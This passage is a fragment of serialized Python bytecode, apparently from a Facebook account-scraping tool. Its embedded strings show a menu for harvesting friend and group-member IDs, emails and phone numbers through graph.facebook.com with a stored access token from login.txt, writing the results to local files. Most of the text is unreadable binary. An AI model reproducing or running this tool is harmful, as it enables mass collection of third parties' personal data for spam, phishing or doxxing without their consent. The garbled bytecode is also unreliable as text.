founds+\x00\x00\x00\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mDate of birth\x1b[1;97m : t\x08\x00\x00\x00birthdays9\x00\x00\x00\x1b[1;91m[?] \x1b[1;92mDate of birth\x1b[1;97m : \x1b[1;91mNot founds+\x00\x00\x00\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSchool\x1b[1;97m : t\t\x00\x00\x00educations#\x00\x00\x00\x1b[1;91m ~ \x1b[1;97mt\x06\x00\x00\x00schools,\x00\x00\x00\x1b[1;91m ~ \x1b[1;91mNot founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x1b\x00\x00\x00\x1b[1;91m[\xe2\x9c\x96] User not found(\x12\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00R \x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R,\x00\x00\x00R+\x00\x00\x00(\x08\x00\x00\x00R4\x00\x00\x00t\x03\x00\x00\x00aidR\'\x00\x00\x00t\x03\x00\x00\x00cokR\x13\x00\x00\x00R\x10\x00\x00\x00R\x1e\x00\x00\x00t\x01\x00\x00\x00q(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>Ru\x00\x00\x00/\x01\x00\x00st\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x0c\x01\n\x01\x13\x01\x12\x01\x11\x01 \x01\x1f\x01\x12\x01\t\x01\x03\x01\x11\x01\r\x00\t\x01\x03\x01\x11\x01\r\x00\t\x01\x03\x01\x11\x01\r\x00\t\x01\x03\x01\x11\x01\r\x00\t\x01\x03\x01\x15\x01\r\x00\t\x01\x03\x01\x11\x01\r\x00\t\x01\x03\x01\x05\x01\x11\x01\x03\x01\x15\x01\r\x00\x11\x01\r\x00\x04\x01\n\x01\n\x02\x04\x02\x05\x01\n\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\xb9\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x08\x00GHd\x07\x00GHd\x08\x00GHd\t\x00GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHd\r\x00GHd\x0e\x00GHd\x0f\x00GHd\x10\x00GHd\x11\x00GHd\x12\x00GHt\t\x00\x83\x00\x00\x01d\x00\x00S(\x13\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s3\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m Get ID friends?\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Get ID friend from friends3\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3.\x1b[1;97m Get ID Searchs9\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4.\x1b[1;97m Get group member IDs<\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5.\x1b[1;97m Get group member emailsC\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m6.\x1b[1;97m Get group member phone numbers6\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m7.\x1b[1;97m Get email friendsB\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m8.\x1b[1;97m Get email friend from friendsA\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m9.\x1b[1;97m Get a friend\'s phone numbersN\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m10.\x1b[1;97m Get a friend\'s phone number from friends*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Backs\x03\x00\x00\x00\xe2\x95\x91(\n\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00t\n\x00\x00\x00dump_pilih(\x01\x00\x00\x00R4\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>t\x04\x00\x00\x00dumpf\x01\x00\x00s.\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s;\x01\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r\'\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01n\x10\x01|\x00\x00d\x04\x00k\x02\x00r=\x00t\x02\x00\x83\x00\x00\x01n\xfa\x00|\x00\x00d\x05\x00k\x02\x00rS\x00t\x03\x00\x83\x00\x00\x01n\xe4\x00|\x00\x00d\x06\x00k\x02\x00r{\x00t\x04\x00j\x05\x00d\x07\x00\x83\x01\x00\x01d\x08\x00GHt\x06\x00\x83\x00\x00\x01n\xbc\x00|\x00\x00d\t\x00k\x02\x00r\x91\x00t\x07\x00\x83\x00\x00\x01n\xa6\x00|\x00\x00d\n\x00k\x02\x00r\xa7\x00t\x08\x00\x83\x00\x00\x01n\x90\x00|\x00\x00d\x0b\x00k\x02\x00r\xbd\x00t\t\x00\x83\x00\x00\x01nz\x00|\x00\x00d\x0c\x00k\x02\x00r\xd3\x00t\n\x00\x83\x00\x00\x01nd\x00|\x00\x00d\r\x00k\x02\x00r\xe9\x00t\x0b\x00\x83\x00\x00\x01nN\x00|\x00\x00d\x0e\x00k\x02\x00r\xff\x00t\x0c\x00\x83\x00\x00\x01n8\x00|\x00\x00d\x0f\x00k\x02\x00r\x15\x01t\r\x00\x83\x00\x00\x01n"\x00|\x00\x00d\x10\x00k\x02\x00r+\x01t\x0e\x00\x83\x00\x00\x01n\x0c\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01d\x00\x00S(\x11\x00\x00\x00Ns\x1d\x00\x00\x00\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97mR\n\x00\x00\x00s\x16\x00\x00\x00\x1b[1;91m[!] Wrong inputR8\x00\x00\x00R9\x00\x00\x00Rs\x00\x00\x00R&\x00\x00\x00s\r\x00\x00\x00\x1b[1;91mSegeraRt\x00\x00\x00t\x01\x00\x00\x005t\x01\x00\x00\x006t\x01\x00\x00\x007t\x01\x00\x00\x008t\x01\x00\x00\x009t\x02\x00\x00\x0010R:\x00\x00\x00(\x0f\x00\x00\x00R/\x00\x00\x00R\x7f\x00\x00\x00t\x08\x00\x00\x00id_temant\x0c\x00\x00\x00idfrom_temanR\x05\x00\x00\x00R(\x00\x00\x00R\x08\x00\x00\x00t\x0e\x00\x00\x00id_member_grupt\x0e\x00\x00\x00em_member_grupt\x0e\x00\x00\x00no_member_grupR?\x00\x00\x00t\x0f\x00\x00\x00emailfrom_temant\x08\x00\x00\x00nomor_hpt\x0c\x00\x00\x00hpfrom_temanR+\x00\x00\x00(\x01\x00\x00\x00t\x04\x00\x00\x00cuih(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x7f\x00\x00\x00\x7f\x01\x00\x00s<\x00\x00\x00\x00\x01\x0c\x01\x0c\x01\x05\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\r\x01\x05\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x02\x05\x01c\x00\x00\x00\x00\x06\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00sQ\x02\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xy\x11\x00t\x00\x00j\x08\x00d\x07\x00\x83\x01\x00\x01Wn\x11\x00\x04t\t\x00k\n\x00r\x84\x00\x01\x01\x01n\x01\x00Xy*\x01t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\n\x00GHt\x0b\x00j\x0c\x00d\x08\x00|\x00\x00\x17\x83\x01\x00}\x01\x00t\r\x00j\x0e\x00|\x01\x00j\x0f\x00\x83\x01\x00}\x02\x00t\x10\x00d\t\x00\x83\x01\x00\x01d\n\x00d\x0b\x00\x14GHt\x02\x00d\x0c\x00d\r\x00\x83\x02\x00}\x03\x00xr\x00|\x02\x00d\x0e\x00\x19D]f\x00}\x04\x00t\x11\x00j\x12\x00|\x04\x00d\x0f\x00\x19\x83\x01\x00\x01|\x03\x00j\x13\x00|\x04\x00d\x0f\x00\x19d\x10\x00\x17\x83\x01\x00\x01d\x11\x00t\x14\x00t\x15\x00t\x11\x00\x83\x01\x00\x83\x01\x00\x17d\x12\x00\x17|\x04\x00d\x0f\x00\x19\x17Gt\x16\x00j\x17\x00j\x18\x00\x83\x00\x00\x01t\x05\x00j\x06\x00d\x13\x00\x83\x01\x00\x01q\xec\x00W|\x03\x00j\x19\x00\x83\x00\x00\x01d\x14\x00GHd\x15\x00t\x15\x00t\x11\x00\x83\x01\x00\x16GHt\x1a\x00d\x16\x00\x83\x01\x00}\x05\x00t\x00\x00j\x1b\x00d\x0c\x00d\x17\x00|\x05\x00\x17\x83\x02\x00\x01d\x18\x00|\x05\x00\x17GHt\x1a\x00d\x19\x00\x83\x01\x00\x01t\x1c\x00\x83\x00\x00\x01Wn\x9b\x00\x04t\x04\x00k\n\x00r\xd8\x01\x01\x01\x01d\x1a\x00GHt\x1a\x00d\x19\x00\x83\x01\x00\x01t\x1c\x00\x83\x00\x00\x01nu\x00\x04t\x1d\x00t\x1e\x00f\x02\x00k\n\x00r\x04\x02\x01\x01\x01d\x1b\x00GHt\x1a\x00d\x19\x00\x83\x01\x00\x01t\x1c\x00\x83\x00\x00\x01nI\x00\x04t\x1f\x00k\n\x00r*\x02\x01\x01\x01d\x1c\x00GHt\x1a\x00d\x19\x00\x83\x01\x00\x01t\x1c\x00\x83\x00\x00\x01n#\x00\x04t\x0b\x00j \x00j!\x00k\n\x00rL\x02\x01\x01\x01d\x1d\x00GHt"\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(\x1e\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00t\x03\x00\x00\x00outs3\x00\x00\x00https://graph.facebook.com/me/friends?access_token=s0\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend id \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s\x10\x00\x00\x00out/id_teman.txtR\x11\x00\x00\x00Rl\x00\x00\x00Rj\x00\x00\x00s\x01\x00\x00\x00\ns\x11\x00\x00\x00\r\x1b[1;97m[ \x1b[1;92ms\x1a\x00\x00\x00\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97mg-C\x1c\xeb\xe26\x1a?sB\x00\x00\x00\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get id \x1b[1;97m....s.\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mTotal ID \x1b[1;91m: \x1b[1;97m%ss7\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m s\x04\x00\x00\x00out/s2\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/s\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x1e\x00\x00\x00\x1b[1;91m[!] Error creating files\x12\x00\x00\x00\x1b[1;91m[!] Stoppeds\x10\x00\x00\x00\x1b[1;91m[!] Errors\x1a\x00\x00\x00\x1b[1;91m[\xe2\x9c\x96] No connection(#\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00t\x05\x00\x00\x00mkdirt\x07\x00\x00\x00OSErrorR.\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R \x00\x00\x00t\x07\x00\x00\x00idtemant\x06\x00\x00\x00appendR\x19\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x06\x00\x00\x00R\x18\x00\x00\x00R\x1b\x00\x00\x00Rg\x00\x00\x00R/\x00\x00\x00t\x06\x00\x00\x00renameR\x80\x00\x00\x00t\x11\x00\x00\x00KeyboardInterruptt\x08\x00\x00\x00EOFErrorR,\x00\x00\x00Ri\x00\x00\x00R\x01\x00\x00\x00R\x08\x00\x00\x00(\x06\x00\x00\x00R4\x00\x00\x00R\'\x00\x00\x00R\x1e\x00\x00\x00t\x02\x00\x00\x00bzRm\x00\x00\x00t\x04\x00\x00\x00done(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x87\x00\x00\x00\xa1\x01\x00\x00sb\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\x03\x01\x11\x01\r\x01\x04\x01\x03\x01\r\x01\x05\x01\x13\x01\x12\x01\n\x01\t\x01\x0f\x01\x11\x01\x11\x01\x15\x01 \x00\r\x00\x11\x01\n\x01\x05\x01\x0f\x01\x0c\x01\x14\x01\t\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01\n\x01\n\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01c\x00\x00\x00\x00\t\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\xd1\x02\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xy\x11\x00t\x00\x00j\x08\x00d\x07\x00\x83\x01\x00\x01Wn\x11\x00\x04t\t\x00k\n\x00r\x84\x00\x01\x01\x01n\x01\x00Xy\xaa\x01t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\n\x00GHt\x0b\x00d\x08\x00\x83\x01\x00}\x01\x00y>\x00t\x0c\x00j\r\x00d\t\x00|\x01\x00\x17d\n\x00\x17|\x00\x00\x17\x83\x01\x00}\x02\x00t\x0e\x00j\x0f\x00|\x02\x00j\x10\x00\x83\x01\x00}\x03\x00d\x0b\x00|\x03\x00d\x0c\x00\x19\x17GHWn\'\x00\x04t\x11\x00k\n\x00r\r\x01\x01\x01\x01d\r\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n\x01\x00Xt\x0c\x00j\r\x00d\t\x00|\x01\x00\x17d\x0f\x00\x17|\x00\x00\x17\x83\x01\x00}\x04\x00t\x0e\x00j\x0f\x00|\x04\x00j\x10\x00\x83\x01\x00}\x05\x00t\x13\x00d\x10\x00\x83\x01\x00\x01d\x11\x00d\x12\x00\x14GHt\x02\x00d\x13\x00d\x14\x00\x83\x02\x00}\x06\x00xv\x00|\x05\x00d\x15\x00\x19d\x16\x00\x19D]f\x00}\x07\x00t\x14\x00j\x15\x00|\x07\x00d\x17\x00\x19\x83\x01\x00\x01|\x06\x00j\x16\x00|\x07\x00d\x17\x00\x19d\x18\x00\x17\x83\x01\x00\x01d\x19\x00t\x17\x00t\x18\x00t\x14\x00\x83\x01\x00\x83\x01\x00\x17d\x1a\x00\x17|\x07\x00d\x17\x00\x19\x17Gt\x19\x00j\x1a\x00j\x1b\x00\x83\x00\x00\x01t\x05\x00j\x06\x00d\x1b\x00\x83\x01\x00\x01ql\x01W|\x06\x00j\x1c\x00\x83\x00\x00\x01d\x1c\x00GHd\x1d\x00t\x18\x00t\x14\x00\x83\x01\x00\x16GHt\x0b\x00d\x1e\x00\x83\x01\x00}\x08\x00t\x00\x00j\x1d\x00d\x13\x00d\x1f\x00|\x08\x00\x17\x83\x02\x00\x01d \x00|\x08\x00\x17GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01Wn\x9b\x00\x04t\x04\x00k\n\x00rX\x02\x01\x01\x01d!\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01nu\x00\x04t\x1e\x00t\x1f\x00f\x02\x00k\n\x00r\x84\x02\x01\x01\x01d"\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01nI\x00\x04t\x11\x00k\n\x00r\xaa\x02\x01\x01\x01d#\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n#\x00\x04t\x0c\x00j \x00j!\x00k\n\x00r\xcc\x02\x01\x01\x01d$\x00GHt"\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(%\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00R\x90\x00\x00\x00s2\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mInput ID friend \x1b[1;91m: \x1b[1;97ms\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=s7\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m R0\x00\x00\x00s\x1b\x00\x00\x00\x1b[1;91m[!] Friend not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s*\x00\x00\x00?fields=friends.limit(90000)&access_token=s<\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend id from friend \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s\x1b\x00\x00\x00out/id_teman_from_teman.txtR\x11\x00\x00\x00t\x07\x00\x00\x00friendsRl\x00\x00\x00Rj\x00\x00\x00s\x01\x00\x00\x00\ns\x11\x00\x00\x00\r\x1b[1;97m[ \x1b[1;92ms\x1a\x00\x00\x00\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97mg-C\x1c\xeb\xe26\x1a?sB\x00\x00\x00\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get id \x1b[1;97m....s.\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mTotal ID \x1b[1;91m: \x1b[1;97m%ss7\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m s\x04\x00\x00\x00out/s2\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/s\x1e\x00\x00\x00\x1b[1;91m[!] Error creating files\x12\x00\x00\x00\x1b[1;91m[!] Stoppeds\x10\x00\x00\x00\x1b[1;91m[!] Errors\x1a\x00\x00\x00\x1b[1;91m[\xe2\x9c\x96] No connection(#\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R,\x00\x00\x00R\x80\x00\x00\x00R \x00\x00\x00t\x0b\x00\x00\x00idfromtemanR\x94\x00\x00\x00R\x19\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x06\x00\x00\x00R\x18\x00\x00\x00R\x1b\x00\x00\x00Rg\x00\x00\x00R\x95\x00\x00\x00R\x96\x00\x00\x00R\x97\x00\x00\x00Ri\x00\x00\x00R\x01\x00\x00\x00R\x08\x00\x00\x00(\t\x00\x00\x00R4\x00\x00\x00t\x03\x00\x00\x00idtt\x03\x00\x00\x00jokt\x02\x00\x00\x00opR\'\x00\x00\x00R\x1e\x00\x00\x00R\x98\x00\x00\x00Rm\x00\x00\x00R\x99\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x88\x00\x00\x00\xd3\x01\x00\x00st\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\x03\x01\x11\x01\r\x01\x04\x01\x03\x01\r\x01\x05\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\x11\x01\r\x01\x05\x01\n\x01\x0b\x01\x1b\x01\x12\x01\n\x01\t\x01\x0f\x01\x15\x01\x11\x01\x15\x01 \x00\r\x00\x11\x01\n\x01\x05\x01\x0f\x01\x0c\x01\x14\x01\t\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01\n\x01\n\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01c\x00\x00\x00\x00\t\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\xc0\x02\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x02\x00k\n\x00rR\x00\x01\x01\x01d\x03\x00GHt\x03\x00j\x04\x00d\x04\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x05\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xy\x11\x00t\x03\x00j\x08\x00d\x06\x00\x83\x01\x00\x01Wn\x11\x00\x04t\t\x00k\n\x00rw\x00\x01\x01\x01n\x01\x00Xy\xa6\x01t\x03\x00j\x04\x00d\x07\x00\x83\x01\x00\x01t\n\x00GHt\x0b\x00d\x08\x00\x83\x01\x00}\x01\x00y>\x00t\x0c\x00j\r\x00d\t\x00|\x01\x00\x17d\n\x00\x17|\x00\x00\x17\x83\x01\x00}\x02\x00t\x0e\x00j\x0f\x00|\x02\x00j\x10\x00\x83\x01\x00}\x03\x00d\x0b\x00|\x03\x00d\x0c\x00\x19\x17GHWn\'\x00\x04t\x11\x00k\n\x00r\x00\x01\x01\x01\x01d\r\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n\x01\x00Xt\x13\x00d\x0f\x00\x83\x01\x00\x01d\x10\x00d\x11\x00\x14GHt\x00\x00d\x12\x00d\x13\x00\x83\x02\x00}\x04\x00t\x0c\x00j\r\x00d\x14\x00|\x01\x00\x17d\x15\x00\x17|\x00\x00\x17\x83\x01\x00}\x05\x00t\x0e\x00j\x0f\x00|\x05\x00j\x10\x00\x83\x01\x00}\x06\x00xr\x00|\x06\x00d\x16\x00\x19D]f\x00}\x07\x00t\x14\x00j\x15\x00|\x07\x00d\x17\x00\x19\x83\x01\x00\x01|\x04\x00j\x16\x00|\x07\x00d\x17\x00\x19d\x18\x00\x17\x83\x01\x00\x01d\x19\x00t\x17\x00t\x18\x00t\x14\x00\x83\x01\x00\x83\x01\x00\x17d\x1a\x00\x17|\x07\x00d\x17\x00\x19\x17Gt\x19\x00j\x1a\x00j\x1b\x00\x83\x00\x00\x01t\x05\x00j\x06\x00d\x1b\x00\x83\x01\x00\x01q[\x01W|\x04\x00j\x1c\x00\x83\x00\x00\x01d\x1c\x00GHd\x1d\x00t\x18\x00t\x14\x00\x83\x01\x00\x16GHt\x0b\x00d\x1e\x00\x83\x01\x00}\x08\x00t\x03\x00j\x1d\x00d\x12\x00d\x1f\x00|\x08\x00\x17\x83\x02\x00\x01d \x00|\x08\x00\x17GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01Wn\x9b\x00\x04t\x02\x00k\n\x00rG\x02\x01\x01\x01d!\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01nu\x00\x04t\x1e\x00t\x1f\x00f\x02\x00k\n\x00rs\x02\x01\x01\x01d"\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01nI\x00\x04t\x11\x00k\n\x00r\x99\x02\x01\x01\x01d#\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n#\x00\x04t\x0c\x00j \x00j!\x00k\n\x00r\xbb\x02\x01\x01\x01d$\x00GHt"\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(%\x00\x00\x00Ns\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00R\x90\x00\x00\x00R&\x00\x00\x00s1\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mInput ID group \x1b[1;91m:\x1b[1;97m s%\x00\x00\x00https://graph.facebook.com/group/?id=s\x0e\x00\x00\x00&access_token=s=\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m R0\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Group not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s2\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet group member id \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s\x13\x00\x00\x00out/member_grup.txtR\x11\x00\x00\x00s\x1b\x00\x00\x00https://graph.facebook.com/s5\x00\x00\x00/members?fields=name,id&limit=999999999&access_token=Rl\x00\x00\x00Rj\x00\x00\x00s\x01\x00\x00\x00\ns\x11\x00\x00\x00\r\x1b[1;97m[ \x1b[1;92ms\x1a\x00\x00\x00\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97mg-C\x1c\xeb\xe26\x1a?sB\x00\x00\x00\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get id \x1b[1;97m....s.\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mTotal ID \x1b[1;91m: \x1b[1;97m%ss7\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m s\x04\x00\x00\x00out/s2\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/s\x1e\x00\x00\x00\x1b[1;91m[!] Error creating files\x12\x00\x00\x00\x1b[1;91m[!] Stoppeds\x10\x00\x00\x00\x1b[1;91m[!] Errors\x1a\x00\x00\x00\x1b[1;91m[\xe2\x9c\x96] No connection(#\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R,\x00\x00\x00R\x80\x00\x00\x00R 